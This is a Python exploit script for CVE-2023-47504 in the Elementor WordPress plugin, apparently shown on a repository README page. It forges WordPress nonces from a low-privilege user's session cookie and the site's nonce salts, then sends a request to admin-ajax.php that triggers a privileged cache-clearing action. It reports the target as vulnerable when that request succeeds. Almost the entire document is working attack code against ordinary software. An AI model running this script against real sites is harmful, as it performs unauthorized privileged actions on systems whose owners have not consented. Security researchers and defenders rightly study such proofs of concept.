README.md
Rendering markdown...
"""
Author: Bors David ([email protected])
"""
from argparse import ArgumentParser, RawTextHelpFormatter
import hmac
import hashlib
import time
import math
from urllib.parse import unquote, urljoin
import requests
def get_session_token(wp_cookie: str):
value = wp_cookie.split("=")[1]
return value.split("|")[2]
def wp_hash(data: str, salt: str):
return hmac.new(salt.encode(), data.encode(), hashlib.md5).hexdigest()
def wp_nonce_tick() -> float:
nonce_life = 86400
return math.ceil(time.time() / (nonce_life / 2))
def wp_create_nonce(action: str, uid: int, salt: str, token: str):
"""
action - name of the action to create the nonce for
uid - user id -you can get it by intercepting a edit profile request
salt - NONCE_KEY + NONCE_SALT from wp-config.php
token - session token. The wordpress_logged_in_* cookie has the following format: user|timestamp|token|...
"""
i = wp_nonce_tick()
data = f'{i}|{action}|{uid}|{token}'
return wp_hash(data, salt)[-12:-2]
def exploit(target_url: str, wordpress_cookie: str, uid: int, salt: str):
token = get_session_token(wordpress_cookie)
nonce = wp_create_nonce("elementor_clear_cache", uid, salt, token)
res = requests.post(
urljoin(target_url, "wp-admin/admin-ajax.php"),
cookies={wordpress_cookie.split('=')[0]: wordpress_cookie.split('=')[1]},
data={"action":"elementor_clear_cache", "_nonce":nonce}
)
if res.status_code != 200 or not res.text:
return False
if '"success":true' not in res.text:
return False
return True
def get_parser():
parser = ArgumentParser(formatter_class=RawTextHelpFormatter)
parser.add_argument("--target", required=True, help="Url to the target. ex: https://example.com")
parser.add_argument("--wordpress-cookie", required=True, help="Wordpress cookie value for low priv account. ex. wordpress_logged_in_*=*")
parser.add_argument("--uid", required=True, help="User id of low priv account.")
parser.add_argument("--salt", required=True, help="NONCE_KEY + NONCE_SALT from wp-config.php")
return parser
if __name__ == "__main__":
args = get_parser().parse_args()
if not exploit(args.target, unquote(args.wordpress_cookie), args.uid, args.salt):
print("Target is not vulnerable to CVE-2023-47504!")
exit(0)
print("Target is vulnerable to CVE-2023-47504!")